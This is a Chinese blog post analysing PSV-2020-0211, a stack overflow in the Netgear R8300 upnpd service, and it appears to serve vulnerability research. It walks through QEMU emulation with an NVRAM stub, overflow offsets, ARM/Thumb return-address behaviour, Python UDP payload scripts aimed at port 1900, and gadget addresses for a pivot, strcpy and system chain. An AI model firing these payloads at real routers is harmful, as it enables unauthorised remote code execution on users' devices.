首页 > 其他分享 >PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析

PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析

时间:2023-10-26 21:37:46浏览次数:41  
标签:R8300 PC 0211 nvram Netgear upnp 漏洞

PSV-2020-0211-Netgear-R8300-UPnP栈溢出漏洞分析

系统级模拟启动

这个路由器的使用的upnpd来开放服务,执行/usr/sbin/upnpd后没有反应,使用ida看一下发现没有/var/run这个目录,那就创建一个mkdir -p /tmp/var/run (为什么是 tmp 下的是因为 /var/run 是软连接到 /tmp/var/run )

image-20231008160543043

在执行上面的命令就会出现下面报错,

image-20231008160133419

NVRAM是用于存储路由器的配置信息的,而程序在运行时需要读取配置信息,但由于我们是qemu仿真模拟的,缺少对应的外设因此会产生报错,常见的方法是LD_PRELOAD(LD_PRELOADLinux 系统的一个环境变量,它允许运行程序时优先强制加载指定的动态链接库)去劫持与NVRAM读写相关的的函数,可以使用 Firmadyne 框架提供的 libnvram

命令是LD_PRELOAD=./firmadyne/libnvram.so.armel ./usr/sbin/upnpd

我这里是直接从网上找的模仿的NVRAM的库 raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

执行armv5l-gcc -Wall -fPIC -shared nvram.c -o nvram.so命令(这里需要注意的是arm-linux-gcc是低版本的交叉编译环境,使用apt-get默认安装的是最新版本的,指定版本的安装的方法参考然后用uclibc编译这个库,工具可以直接在uclibc官网下到:cross-compiler-armv5l.tar.bz2 这个编译器好像依赖一些东西

Ubuntu 18.04安装arm-linux-gcc交叉编译器(超简单,附安装包下载地址)_arm-linux-gcc-5.4.0.tar.gz 官网下载-CSDN博客)

高版本ubuntu安装32位运行库 - 苦衷乐 - 博客园 (cnblogs.com)

在执行LD_PRELOAD=/nvram.so ./usr/sbin/upnpd

出现下面报错,找不到dlsym这个符号

image-20231008162657810

使用为这个库中同时hooksystem,fopen,open这三个函数

image-20231008163405470

下面就是找一下那个动态库中有这个函数并将这个库使用LD_PRELOAD链接一下,还有一个方法就是修改一下上面的nvram.c文件让其不使用dlsym

image-20231008164946328

发现无法打开/tmp/nvram.ini那是因为没有这个文件,创建一个就行了image-20231008165242513

然后再执行上面的命令就行了,但是发现下面有许多日志是空的,这就导致我们的服务还是无法成功启动

image-20231008165721083

下面就需要我们去补全日志信息了,我是在网上找的一个配置信息将它写入/tmp/nvram.ini

upnpd_debug_level=9
lan_ipaddr=192.168.195.153
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

LD_PRELOAD="/nvram.so /lib/libdl.so.0 " /usr/sbin/upnpd 然后就可以将这个服务开启

image-20231026133027296

漏洞分析

漏洞比较简单就是栈溢出

main 中调用 sub_1D020

image-20231026152211548

sub_1D020 中调用

image-20231026152515944

造成溢出

image-20231026152553465

寻找偏移 (第一次调试有关 arm 架构的,不知道怎么找返回地址,调试才发现它是通过 pop 来完成的,列如 POP {R4-R11,PC}),偏移是 0x630

image-20231026172905739

但是调试发现它在 sub_B60C 函数中报错了

import socket
import struct
from tools import*  #这个是zikh26写的,用pwn也一样
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'a'*0x630+b'cccc'
#print(payload)
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()

image-20231026173607976

找到报错原因

image-20231026174412685

正常情况下是

image-20231026174801683

计算一下发现是在 0x604 这个位置

image-20231026175156194

此时可以控制返回地址,至于末位由1变为了0,原因总之来说为:

原因总之来说为:
1.首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。
2.其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。
我们可以看到R8300是运行在THUMB状态:
当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节
因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342

但是这条指令其实不是bx指令,但是因为精简指令集地址四字节对齐的缘故,地址要被4能够整除那么末两个字节必须都为0,所以会变为0x42

来自Netgear R8300栈溢出漏洞分析 - SecPulse.COM | 安全脉搏

image-20231026180124786

#!/usr/bin/python3

import socket
import struct
from tools import*
#p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("start!!!!!!!!!!!!")
payload =b'a'*0x604+p32(0x7ee0fc64)+b'a'*0x28+b'cccc'
#print(payload)
s.connect(('192.168.195.153', 1900))
s.send(payload)
s.close()

漏洞利用

整个漏洞利用布局

首先调整当前栈为第一次输入的地址上

.text:00013334 02 DB 8D E2                   ADD             SP, SP, #0x800
.text:00013338 70 80 BD E8                   POP             {R4-R6,PC}

image-20231026210122421

在跳到 0xb764ls 拷贝到 0x970a0

.text:0000B764 04 00 A0 E1                   MOV             R0, R4       ; dest
.text:0000B768 0D 10 A0 E1                   MOV             R1, SP       ; src
.text:0000B76C DE FE FF EB                   BL              strcpy
.text:0000B770 01 DB 8D E2                   ADD             SP, SP, #0x400
.text:0000B774 70 80 BD E8                   POP             {R4-R6,PC}

image-20231026210428078

然后直接跳到 system 上执行参数

image-20231026210616794

攻击效果

image-20231026204622108

参考

Netgear Nighthawk R8300 upnpd PreAuth RCE 分析与复现 (seebug.org)

PSV-2020-0211:Netgear R8300 UPnP 栈溢出漏洞分析 | cq674350529's blog

Netgear-R8300-UPnP RCE漏洞分析复现 | CN-SEC 中文网

Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)

标签:R8300,PC,0211,nvram,Netgear,upnp,漏洞
From: https://www.cnblogs.com/trunk/p/17790433.html

相关文章

  • 2023-2024-1 20211108_20211120_20211103_20211125 实验一:开发环境的熟悉 小组实验过
    实验课小组成员20211108俞振阳、20211120刘钟徽、20211103白皓宇、20211125苗靖章实验一-1-交叉编译环境-(使用自己笔记本电脑)实验题目要求实验三人一组可以使用自己的笔记本,也可以使用实验室台式机,使用实验室机器的不用做本题安装老师提供的software目录中的VMware-works......
  • 20211325 2023-2024-1 《信息安全系统设计与实现(上)》第七周学习笔记
    202113252023-2024-1《信息安全系统设计与实现(上)》第七周学习笔记一、任务要求1.自学教材第4章,提交学习笔记(10分),评分标准如下1.知识点归纳以及自己最有收获的内容,选择至少2个知识点利用chatgpt等工具进行苏格拉底挑战,并提交过程截图,提示过程参考下面内容(4分)“我在学***X知......
  • 第六周学习笔记20211303
    作业要求自学教材第3章,提交学习笔记(10分),评分标准如下1.知识点归纳以及自己最有收获的内容,选择至少2个知识点利用chatgpt等工具进行苏格拉底挑战,并提交过程截图,提示过程参考下面内容(4分)“我在学***X知识点,请你以苏格拉底的方式对我进行提问,一次一个问题”核心是要求GPT:“请......
  • 20211316郭佳昊 《信息安全系统设计与实现(上)》 第七周学习总结
    一、任务要求[1]知识点归纳以及自己最有收获的内容,选择至少2个知识点利用chatgpt等工具进行苏格拉底挑战,并提交过程截图,提示过程参考下面内容(4分)我在学***X知识点,请你以苏格拉底的方式对我进行提问,一次一个问题核心是要求GPT:请你以苏格拉底的方式对我进行提问然后GPT就会......
  • 20211314王艺达学习笔记6
    Unix/Linux进程管理进程是Unix操作系统抽象概念中最基本的一种。进程管理是所有操作系统的心脏所在。一、进程进程是处于执行期的程序。除了可执行程序代码,还包括打开的文件、挂起的信号、内核内部数据、一个或者多个执行线程等多种资源线程是在进程活动中的对象;内核调度的......
  • 2023-2024-1 20211211 第三章学习笔记
    一、多任务处理多任务处理指的是同时进行几个独立活动的能力在单处理器(单CPU)系统中,一次只能执行一个任务。而多任务处理是通过在不同任务之间多路复用CPU的执行时间来实现的,即将CPU执行操作从一个任务切换到另一个任务。不同任务之间的执行切换机制称为上下文切换,将一个任务的......
  • 2023-2024-1 20211319《计算机基础与程序设计》第四周学习总结
    2023-2024-120211319《计算机基础与程序设计》第周学习总结作业信息这个作业属于哪个课程<班级的链接>(如2023-2024-1-计算机基础与程序设计)这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK04这个作业的目标<写上具体方面>作业正文......
  • 20211105李宜时《信息安全系统设计与实现》第六周学习笔记
    Ubuntu学习笔记:Unix/Linux进程管理相关基础知识在Ubuntu学习Unix/Linux进程管理之前,需要了解以下基础知识:进程:进程是正在运行的程序的一个实例。每个进程都有一个唯一的进程标识符(PID)。进程状态:进程可以处于运行、睡眠、停止、僵尸等不同状态。进程调度:操作系统负责安......
  • 20211128《信息安全系统设计与实现》第三章学习笔记
    一、任务内容自学教材第10章,提交学习笔记(10分)1.知识点归纳以及自己最有收获的内容,选择至少2个知识点利用chatgpt等工具进行苏格拉底挑战,并提交过程截图,提示过程参考下面内容(4分) “我在学***X知识点,请你以苏格拉底的方式对我进行提问,一次一个问题”核心是要求GPT:“请你以苏......
  • 2023-2024-1 20211327 信息安全系统设计与实现 学习笔记6(必做)
    学习笔记6Unix/Linux系统多任务处理概述多任务处理系统Unix/Linux系统的进程管理实践过程Unix/Linux系统多任务处理概述1.进程管理:进程是程序的执行实例。Unix和Linux支持多个进程同时运行,每个进程都有自己的独立地址空间和资源。这使得多个应用程序可以同时运行,互不干......